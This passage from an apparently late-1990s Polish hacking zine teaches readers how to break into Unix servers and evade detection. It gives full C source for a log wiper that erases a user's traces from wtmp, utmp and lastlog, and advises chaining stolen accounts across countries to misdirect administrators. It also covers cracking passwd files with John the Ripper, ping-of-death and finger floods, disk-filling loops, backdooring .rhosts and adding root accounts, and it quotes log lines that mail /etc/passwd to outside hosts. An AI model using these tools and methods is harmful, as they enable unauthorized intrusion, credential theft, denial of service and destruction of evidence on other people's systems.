printf("\nKoniec pracy. Sprawdzilem %d serwerow.\n",ile); 

} 

-- CUT HERE --



III Jak hackowac by nie narobic sobie klopotow.


1 Podstawy : P0WER


1 Nie zostawiaj nigdzie swojego imienia, nazwiska, telefonu i innych 

danych. Nie posluguj sie tez danymi innych ludzi, zawsze uzywaj falszywych 

danych. 

2 Na zhakowanych kontach uzywaj najlepiej imion kobiecych, sa mniej 

podejrzane. 

3 Uwazaj z kim wymieniasz wiadomosci. 

4 Nie dawaj nikomu telefonu, kogo nie znasz. 

5 Nie hacz komputerow rzadowych. 

6 Badz podejrzliwy! 

7 Zadawaj pytania, lecz rob to delikatnie i nie licz, ze ktos wytlumaczy 

ci wszystko od podstaw.


2 JAK SIE WLAMAC BEZPIECZNIE : lcamtuf


Na podstawie swoich doswiadczen moge wam powiedziec jak bezpiecznie sie 

wlamac - kiedy po prostu wejdziesz przez telnet na serwer to w logach 

zostanie zanotowane "angel@dial003.zigzag.pl". Oto co mozna zrobic nie majac 

nigdzie roota ani nie bawiac sie w czyszczenie logow: 


0) Po zerowe - oczywiscie korzystaj z dial-upu TPSa :-)


1) Znajdujesz 2-3 serwery i rozkodowujesz okolo 4-5 kont na kazdym. 

Najlepiej, zeby byly to serwery w roznych krajach, np. Hong-Kong i Polska. 

Powiedzmy, ze mamy takie serwery: X.com, Y.com, Z.com, ofiara.com 

oraz nastepujace konta: X1, X2, X3, X4, Y1, Y2, Y3..., Z1, ofiara


2) Logujesz sie na X.com jako X1, wysylasz tam "nowa" wersje strony. 

Pozniej przez telnet z tego konta wpisujesz "ftp Y.com" i tam logujesz sie 

jako "Y1"... UWAGA: Fizycznie jestes caly czas podlaczony do X.com !!! 

Wysylasz na Y1 pliki. Pozniej wpisujesz na koncie X1 "telnet Y.com" 

i piszesz "ftp X.com" i logujesz sie jako X2. Powtarzasz wszystko dla konta 

X2... I tak kilka razy - zajmie to z 10 razy wiecej czasu, ale zaraz 

zobaczysz w czym tkwi kruczek. Caly czas jestes fizycznie polaczony 

tylko z X.com i zalogowany na koncie X1, a plik jest juz na serwerze Y.com 

na koncie Y4 :-)


3) Po kilku petelkach mozesz wyslac jeszcze wszystko wrzucic na Z.com i 

stamtad dopiero (bedac caly czas zalogowany na X jako X1 !!!) wpisac 

"ftp ofiara.com" i zastapic oryginalne pliki nowymi. Pozniej wycofujesz sie 

kasujac za soba pliki... Najlepiej jeszcz miec roota na jednym z tych 

serverow i zatrzec za soba slady powiedzmy tak w polowie wyksowywujac sie z 

logow.


I co teraz? Admin serwera ofiara.com patrzy w logi i widzi "Z1@Z.com". Pisze 

wiec do root@Z.com ze ten gosciu sie wlamal. Voila. Z1 idzie na spytki! 

Ale moze sie okazac, ze cala afera sie wyjasni i admin Z bedzie probowal 

szukac dalej. Zajrzy do logow i zobaczy, ze na to konto logowal sie 

"Y4@Y.com". Wysle wiec odpowiedni list do root@Y.com (hmmm, za granica, wiec 

admin musi sie niezle narobic). Ten zas powtorzy caly scenariusz, po czym 

skapuje sie, ze logowal sie u niego "X4@X1.com". Napisze wiec do root@X.com 

(znowu za granice, bo do Polski). Ten znowu powtorzy caly scenariusz i znowu 

napisze do roota serwera2, ze to przeciez "Y3@Y.com" sie u niego logowal :-) 

Nie ma szans, zeby admini sie jakos dogadali, zwlaszcza gdy jeden z serwerow 

jest poza krajem.


W sumie tyle zamieszania, ze na 100% admini sie nie dogadaja, a jak sie 

nawet dogadaja, to minie pol roku zanim dojda do tego, ze logowal sie 

gosciu "noname@ppp2-cst222.warszawa.tpnet.pl"... 

I co? Nic... Jesli beda bardzo uparci, to wysla podanie do TPSa o ujawnienie 

wykazow bilingowych. Minie kilka miesiecy zanim podanie zostanie rozpatrzone, 

a po tym czasie wykazy TePSy beda juz od wielu miesiecy na wysypisku... 

Hehehe. Zdarza sie czasem, ze TPSA dziala szybciej i biling ujawnia 

w niedlugim czasie, ale to musieli byscie juz niezle namieszac. 

Poza tym przewaznie na TPSA wisi 100 - 200 modemow, wiec taki biling to nie 

do konca jest dowod (chyba ze na serverze siedziales kilka godzin). Dlatego 

trzeba dzialac szybko.


3 KillLOG : lcamtuf


Oto moj programik, ktory pozwoli wam "zniknac" z logow systemowych, 

poprawiony tak, by dzialal pod linuxem:


-- CUT HERE -- 

/* 

Kill-LOG++ v0.99b (fur linux) 

---------------------------------------------------------------------------- 

Written by (unknown), improved by lcamtuf at 07/07/97 

Tested on Red Hat 4.x with kernel v2.0.27 und v2.1.43 

---------------------------------------------------------------------------- 

Thiz prog removes user's activity from system logs. Root required :-) 

Compilation: "gcc -o killlog killlog.c" (no warn mesgs) 

Usage: "./killlog username", eg. "./killlog angel" 

---------------------------------------------------------------------------- 

On some jerky linuxes you should use "find / -name xxxx" (where xxxx means 

wtmp, utmp and lastlog) to locate logfiles in your system, then recompile 

Kill-LOG++ with correct paths: 

gcc -o killlog killlog.c -DWTMP=\"path_to_wtmp\" -DUTMP=\"path_to_utmp\" 

-DLAST=\"path_to_lastlog\" 

*/



#include <sys/types.h> 

#include <stdio.h> 

#include <unistd.h> 

#include <sys/file.h> 

#include <fcntl.h> 

#include <utmp.h> 

#include <pwd.h> 

#include <lastlog.h>



#ifndef WTMP 

#define WTMP "/var/log/wtmp" 

#endif


#ifndef UTMP 

#define UTMP "/var/run/utmp" 

#endif


#ifndef LAST 

#define LAST "/var/log/lastlog" 

#endif


int f,err=0;


void kill_utmp(char *who) { 

struct utmp utmp_ent; 

printf("Cleaning utmp... "); 

if ((f=open(UTMP,O_RDWR))>=0) { 

while(read(f,&utmp_ent,sizeof(utmp_ent))>0) 

if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { 

bzero((char *)&utmp_ent,sizeof(utmp_ent)); 

lseek(f,-sizeof(utmp_ent),SEEK_CUR); 

write(f,&utmp_ent,sizeof(utmp_ent)); 

} 

close(f); 

printf("done.\n"); 

} else { 

printf("unable to open logfile.\n"); 

err=3; 

} 

}


void kill_wtmp(char *who) { 

struct utmp utmp_ent; 

long pos=1L; 

printf("Cleaning wtmp... "); 

if ((f=open(WTMP,O_RDWR))>=0) { 

while(pos!=-1L) { 

lseek(f,-(long)((sizeof(struct utmp))*pos),L_XTND); 

if (read(f,&utmp_ent,sizeof(struct utmp))<0) pos=-1L; 

else if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { 

bzero((char *)&utmp_ent,sizeof(struct utmp)); 

lseek(f,-((sizeof(struct utmp))*pos),L_XTND); 

write(f,&utmp_ent,sizeof(utmp_ent)); 

pos=-1L; 

} else pos+=1L; 

} 

close(f); 

printf("done.\n"); 

} else { 

printf("unable to open logfile.\n"); 

err=4; 

} 

}


void kill_lastlog(char *who) { 

struct passwd *pwd; 

struct lastlog newll; 

printf("Cleaning lastlog... "); 

if ((pwd=getpwnam(who))!=NULL) { 

if ((f=open(LAST,O_RDWR))>=0) { 

lseek(f,(long)pwd->pw_uid*sizeof(struct lastlog),0); 

bzero((char *)&newll,sizeof(newll)); 

write(f,(char *)&newll,sizeof(newll)); 

close(f); 

printf("done.\n"); 

} else { 

printf("unable to open logfile.\n"); 

err=2; 

} 

} else { 

printf("user not found.\n"); 

err=1; 

} 

}


int main(int argc,char *argv[]) { 

printf("\nKill-LOG++ 0.99b -- Linux Log Cleaner (improved by lcamtuf)\n"); 

if (argc!=1) { 

printf("----------\nRemoving user's activity from logs.\n",argv[1]); 

kill_lastlog(argv[1]); 

if (!err) kill_wtmp(argv[1]); 

if (!err) kill_utmp(argv[1]); 

if (!err) printf("Cool! Everything is ok.\n"); 

else printf("Damn! Something fucked up.\n"); 

printf("----------\n\n"); 

} else printf("Usage: %s username\n\n",argv[0]); 

return err; 

} 

-- CUT HERE --


IV Unix


1 Jak zdobyc hasla : P0WER


Jezeli twoj system ma Yellow Pages file managment napisz "ypcat /etc/passwd" 

lub "ypcat passwd", a powinienes dostac hasla (uwaga, w /etc/passwd nie 

znajdziesz prawie nic, gdyz NIS, zwany tez Yellow Pages, to system 

pozwalajacy na korzystanie z tych samych hasel na wielu serwerach w 

jednej sieci i inaczej wyglada tam przechowywanie hasel).


Mozna tez probowac tym programikiem, ale ja osobiscie w niego nie wierze 

(po prostu jest cholernie stary i moze zadzialac tylko na archiwalnym 

systemie ;-):


#include <pwd.h> 

main() { 

struct passwd *p; 

while(p=getpwent()) 

printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd, 

p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell); 

}



2 Jak dekryptowac hasla unixa? : P0WER


Sluza do tego programy jak John the ripper, Cracker Jack, czy Killer Crack. 

Ja uzywa, Johna 1.4 , ale wybor nalezy do was. Wszystkie te programy 

dzialaja pod Dosem. Sa tez programy pod unixa np Crack5.0, ale go nie 

testowalem. Opisze tu obsluge Johna. 

Na poczatku potrzebny jest slownik, ktore mozna znalezc na wielu stronach. 

nazwijmy go slownik.txt a plik z haslami ktory posiadamy passwd.txt 

pierwsza metoda dziala bez slownika, jest najprostsza. 

john -single -pwfile:passwd.txt 

druga metoda dziala ze slownikiem. 

john -pwfile:passwd.txt -wordfile:slownik.txt 

trzecia metoda posluguje sie slownikiem i kombinacjami, jezesli -single 

trwa kilka sekund, to -rulez kilka godzin, lecz to zalezy od slownika i 

ilosci kont(powiedzmy 5 godz , przy 100 kontach i P150) 

john -rules -pwfile:passwd.txt -wordfile:slownik.txt 


3 Podstawowe komendy unixa : P0WER


cat - przeglada plik jak view. np: cat /etc/passwd ;) 

chmod [mode] [plik] - zmiana dostepow do pliku. 

chown [nick] [plik] - zmiana wlasciciela pliku. 

cd [dir] - zmiana katalogu, cd .. cofanie sie o ktalog 

cp [plik] [plik] - kopiowanie z nowa nazwa. 

diff [plik] [plik] - pokazywanie roznicy miedzy dwoma plikami. 

-b -ignoruj puste miejsca 

find [skad_zaczac] -name [nazwa] - poszukiwanie plikow np: find / -name 

password 

finger [username] - informacje o uzytkowniku. Mozna tez z zewnatrz finger 

user@server.pl 

gcc plik - kompilacja 

grep [wyraz] [nazwa pliku] - przeszukiwanie plikow za jakims wyrazem. 

help - pomoc 

irc - uruchomienie klijenta irc. 

kill - ma powiazania z ps , moze zabijac procesy w pamieci korzystjac z 

numeru PID.(patrz ps) 

$ kill -9 123 

[123]: killed 

mozna tez zabic siebie "kill -1 0" 

ls - listowanie plikow ls -l daje wiecej info o plikach i katalogach. 

man [komenda] - pomoc w konkretnej komendzie. 

mail - czytanie poczty 

mkdir [katalog] - tworzenie nowego katalogu. 

mv [plik] [plik] - zmiana nazwy pliku, lub przeniesienie do innego 

katalogu. 

passwd - zmiana hasla. 

ps - pokazuje co robisz w pamieci i jaki to ma numer (PID) 

PID TTY NAME 

122 001 ksh 

123 001 watch 

pwd - pokazuje w jakim jestesmu katalogu. 

rm [plik] - kasuje plik 

rmdir [katalog] - kasuje katalog gdy jest pusty. 

rwho - to samo co who. 

screen - dopalanie procesu w tle, np: by zostawic ircbota. 

tar -xvf 8.tar - roztarowywanie pliku. 

who - wypisuje info o zalogowanych uzytkownikach. 

write [login] - pisanie do innego zalogowanego uzytkownika. 


4 Finger : P0WER


Czesc serverow zezwala na przesylanie fingera do innego hosta(redirections).



$ finger @host.jeden.pl@host.dwa.pl


finger pojdzie przes system jeden do drugiego, az tamten dowie sie ze to 

pierwszy host poslal finger. 

Moze to byc uzywane do ukrycia fingera, lub jako bardzo dokuczliwy trik. 

Piszac:


$ finger @@@@@@@@@@@@@@@@@@@@@@@@@@@@@host.ktory.atakujesz.pl 


Wtedy wszystkie @ beda powodowaly powtorzenia fingera po raz kolejny, moze 

to doprowadzic do zwolnienia dzialania servera, zajecia mu czesci pamieci i 

twardego dysku. 

(robiac tak w kilku mozna niezle zamieszac w serverze) 


5 JAk komus zamknac konto(czasowo) : P0WER


Niektore servery zamykaja dostep do konta po kilku nieudanych probach 

podania hasla, lub po odczekaniu zbyt wielu sekund przy logowaniu. 

Mozesz w ten sposob pozbawic jakiegos uzytkownika konta na jakis czas, ale 

wystarczy ze poprosi on roota, a konto zostanie odblokowane. 

Takie mozliwosci sa najczescie na serverach uczelnianych, np po trzech 

zlych loginach nalezy podac specjalne haslo, bo jak nie to konto jest 

zamrazane.


6 Anonymous FTP : P0WER 

Gdy server posiada Anonymous FTP z zapisywalnymi obszarami mozna bardzo 

latwo namieszac. 

Na przyklad zapychajac twardziela. Na przyklad takim programem:


while : ; 

mkdir .xxx 

cd .xxx 

done 

{choc nie wiem czy cokolwiek odpalicie przez ftp, ale jest przeciez jeszcze 

guest) 

Poza tym to swietny sposob na zapchanie twardziela jesli juz wejdziesz do 

srodka.


7 Wlamac sie do servera jako guest : lcamtuf


- Zaloguj sie jako guest lub wykorzystujac inne "goscinne" konto przez telnet 

(admin musi byc malo rozgarniety, zeby zostawic ta dziurke, typowe konta 

tego typu sa zebrane w 2600faq, http://www.2600.com). 

- Korzystajac z zapisywalnych obszarow, czyli np katalogu typu trash, lub 

tmp nagrac, skompilowac i uruchomic wspomniany wczesniej programik 

z getpwent(). 

- Dzieki temu moze otrzymasz plik z haslami.


A potem to juz chyba wiesz co robic!!! 

Lecz to dziala juz tylko na starych systemach Unixa. 


8 Ping flood : P0WER


Nie to nie irc, to unix. Tutaj mozna poslac takze ping 

ping -s host (Unix) 

powoduje wyslanie 64 bajtow do hosta.


W Shicie 95 tez mozna poslac pinga. 

NAcisniej klawisz "start", potem "uruchom" i wpisz: 

PING -T -L 256 xxx.xxx.xxx.pl - taki tekst wystartuje okolo 15 sesji.


ale co sie bedziemy rozdrabniac, przeciez chcemy namieszac!


PING -l 65510 adres.do.spingowania.pl


Zamrozi to maszynke lub ja przeresetuje(ale nie wiem czy nie spali ci 

twojego lacza modemowego ;) 

Po prostu, nie wiem czy to zadziala przez modem.(ale jak jakis twoj kumpel 

odpalil Linuxa na modemie to mozeci eksperymentowac) 


Ponoc dziala na kernel 2.0.7 up to version 2.0.20. i 2.1.1. na Linux 

(crash). AIX4, OSF, HPUX 10.1, DUnix 4.0 (crash). OSF/1, 3.2C, Solaris 2.4 

x86 (reboot).


9 Jak kogos nastraszyc : P0WER


Wyobraz sobie, ze siedzisz przed kompciem i czytasz czyjas poczte i nagle 

widzisz napis: 

Admin: Mam cie na oku ;) 

Robisz w gacie i spieprzasz z servera. 

Q1: Jak to zrobic??? 

A1: To proste jak drut:) 

1 cd /dev 

2 ls -l tt* 

teraz masz spis wszystkich zalogowanych uzytkownikow 

3Napisz tylko 

>echo Admin: Mam cie na oku! >! /dev/ttyp08 

(ttyp08 to przykladowy terminal) 

Mozna tez inaczej 

1 finger enemyname 

zobaczysz: 

enemyname logged on since 12:24 from 194.165.56.7 on ttyp08 

No i teraz tylko: 

>echo Admin: Mam cie na oku! >! /dev/ttyp08 


10 Do czego sluza pliki .xxxx : P0WER


Pliki .xxxx sa z reguly plikami konfiguracyjnymi. 

Nie ujawniaja sie gdy listujesz katalog, chyba ze robisz to z atrybutem -a 

Pozwalaja one czytac cudza poczte, odpalac cudze pliki, czy wchodzic na 

czyjes konto bez hasla. 

Lecz mozna wykorzystywac je tylko wtedy gdy wlasciciel konta jest lamerem i 

nie wie do czego one sluza, bo w przeciwnym razie twoje modyfikacje zostana 

wykryte.


.rlogin 

Jest to plik, zawierajacy komendy, ktore uruchamiane sa za kazdym razem gdy 

uzytkownik loguje sie na konto. 

Zeby kogos zalatwic mozna w nim umiescic komende logout, ale tak robia 

tylko lamery. 

Jesli chcesz wywinac numer wpisz w niego chmod 777 * aby pliki uzytkownika 

byly dostepne dla wszystkich. 

Mozesz zrobic tez wiele innych rzeczy, wiec jako doswiadczony hacker sam 

dojdziesz do tego(lub nie ;)


.rhosts 

W tym pliku zawarte sa adresy zaufanych hostow. 

Kazdy kto zaloguje sie przez remote login z takiej maszyny nie musi podawac 

hasla. 

Gdy umiescisz "+ +" w tym pliku to kazdy host bedzie zaufany.(opisalem ten 

numer w punkcie I-6)


.forward 

Jesli w tym pliku umiescisz jakis adres e-maila to cala poczta uzytkownika 

bedzie rowniez wysylana pod podany adres.


11 Sciaganie passwd : P0WER


Pamietaj, ze gdy sciagasz hasla zapisuje sie to w logach. 

Oto kawalek loga z servera x . Jest to plik syslog.0 

Byl tam tez plik syslog , w ktorym logi i inne rzeczy zapisywane byly przez 

24h 

Natomiast plik syslog.0 przechowywal te dane przez tydzien. 

Byl tez plik netlog ktory przez miesiac przechowywal wszystkie bledne 

polecenia skierowane do servera(przynajmniej tak to wygladalo). 

Wiecie w ogole ilu ludzi pobiera haselko w ciagu tygodnia z takiego 

popularnego servera!!!


Apr 8 22:04:01 srv1 sendmail[5623]: AA05623: from="|/bin/mail 

root@194.204.147.39 </etc/passwd", size=8, class=0 

... 

Apr 8 22:04:09 srv1 sendmail[5632]: AB05626: to="|/bin/mail root@194.204.14 

7.39 </etc/passwd", delay=00:00:03, stat=Sent 

... 

Apr 8 22:07:00 srv1 sendmail[5653]: AA05653: from="|/bin/mail 

man@flop.byd.ternet.pl < /etc/passwd", size=6, class=0 

... 

Apr 8 22:07:06 srv1 sendmail[5661]: AB05655: to="|/bin/mail man@flop.byd.te 

rnet.pl < /etc/passwd", delay=00:00:03, stat=Sent 

... 

Oczywiscie tu widac tylko ludzi, ktorzy probuja sendmail hole z 5.55 

Gdzis jest rowniez plik zapisujacy wszelkie pobrane pliki passwd, ale 

akurat na tym serverze nie moglem go znalezc.


12 Jak zalozuc nowe konto : P0WER


Najprostszy sposob to modyfikacja pliku passwd. 

Ale pamietaj do tego musisz miec dostep roota lub dostep do zapisu pliku 

passwd. 

Najprosciej modyfikacje dokonac jakims edyteorm plikow. Po prostu dodaj 

jedna linijke. 

[login]::[user#]:[group#]:[opis]:[katalog domowy]:[katalog shella] 

Pamietaj ze miejsce na haslo zostawiasz puste, a potem jak sie zalogujesz 

wystarczy napisac: 

passwd [login] 

jesli chcesz zeby konto mialo superusera w miejsce user wipsz zero.


13 ident-scan.c skanuje dziury servera : P0WER


Jest to program poszukujacy deamons na roocie, 

backdoors na wysokich portach, httpd na roocie i innych dziur. 

ident-scan <host> [low port] [high port] 

ident-scan www.lamers.com 1 9999


---cut here--- 

/* 

* ident-scan [v0.15] 

* This TCP scanner has the additional functionality of retrieving 

* the username that owns the daemon running on the specified port. 

* It does this by by attempting to connect to a TCP port, and if it 

* succeeds, it will send out an ident request to identd on the 

* remote host. I believe this to be a flaw in the design of the 

* protocol, and if it is the developers intent to allow 'reverse' 

* idents, then it should have been stated clearer in the 

* rfc(rfc1413). 

* 

* USES: 

* It can be useful to determine who is running daemons on high ports 

* that can be security risks. It can also be used to search for 

* misconfigurations such as httpd running as root, other daemons 

* running under the wrong uids. 

* 

* COMPILES: Compiles fine under Linux, BSDI and SunOS 4.1.x. 

* 

* Dave Goldsmith 

* <daveg@escape.com> 

*/


#include <stdio.h> 

#include <string.h> 

#include <sys/types.h> 

#include <sys/socket.h> 

#include <errno.h> 

#include <fcntl.h> 

#include <netinet/in.h> 

#include <netdb.h> 

#include <unistd.h>


enum errlist 

{ 

BAD_ARGS,BAD_HOST,NO_IDENT,SOCK_ERR 

};


void 

usage(error) 

enum errlist error; 

{ 

fprintf(stderr,"ident-scan: "); 

switch(error) 

{ 

case BAD_ARGS: fprintf(stderr,"usage: ident-scan hostname [low port] 

[hi port]\n"); 

break; 

case BAD_HOST: fprintf(stderr,"error: cant resolve hostname\n"); 

break; 

case NO_IDENT: fprintf(stderr,"error: ident isnt running on host\n"); 

break; 

case SOCK_ERR: fprintf(stderr,"error: socket() failed\n"); 

break; 

} 

exit(-1); 

}


struct hostent * 

fill_host(machine,host) 

char *machine; 

struct hostent *host; 

{


if ((host=gethostbyname(machine))==NULL) 

{ 

if ((host=gethostbyaddr(machine,4,AF_INET))==NULL) 

return(host); 

} 

return(host); 

}


int 

main(argc,argv) 

int argc; 

char **argv; 

{ 

struct sockaddr_in forconnect,forport,forident; 

int i,sockfd,identfd,len=sizeof(forport),hiport=9999,loport=1,curport; 

struct servent *service; 

struct hostent *host; 

char identbuf[15], recieved[85], *uid;


if ((argc<2) || (argc>4)) 

usage(BAD_ARGS); 

if (argc>2) 

loport=atoi(argv[2]); 

if (argc>3) 

hiport=atoi(argv[3]); 

if ((host=fill_host(argv[1],host))==NULL) 

usage(BAD_HOST); 

forconnect.sin_family=host->h_addrtype; 

forconnect.sin_addr.s_addr=*((long *)host->h_addr); 

forident.sin_family=host->h_addrtype; 

forident.sin_addr.s_addr=*((long *)host->h_addr); 

forident.sin_port=htons(113);


if ((identfd=socket(AF_INET,SOCK_STREAM,0))== -1) 

usage(SOCK_ERR); 

if ((connect(identfd,(struct sockaddr *)&forident,sizeof(forident)))!=0) 

usage(NO_IDENT); 

close(identfd);


for(curport=loport;curport<=hiport;curport++) 

{ 

for(i=0;i!=85;i++) 

recieved[i]='\0'; 

forconnect.sin_port=htons(curport); 

if ((sockfd=socket(AF_INET,SOCK_STREAM,0))== -1) 

usage(SOCK_ERR);



if (connect(sockfd,(struct sockaddr *)&forconnect,sizeof(forconnect))== 

0) 

{ 

if (getsockname(sockfd,(struct sockaddr *)&forport,&len)==0) 

{ 

if ((identfd=socket(AF_INET,SOCK_STREAM,0))== -1) 

usage(SOCK_ERR); 

if (connect(identfd,(struct sockaddr *)&forident,sizeof(forident)) 

==0) 

{ 

sprintf(identbuf,"%u,%u",htons(forconnect.sin_port), 

htons(forport.sin_port));


write(identfd,identbuf,strlen(identbuf)+1); 

read(identfd,recieved,80); 

recieved[strlen(recieved)-1]='\0'; 

uid=strrchr(recieved,' '); 

service=getservbyport(forconnect.sin_port,"tcp"); 

printf("Port: %3d\tService: %10


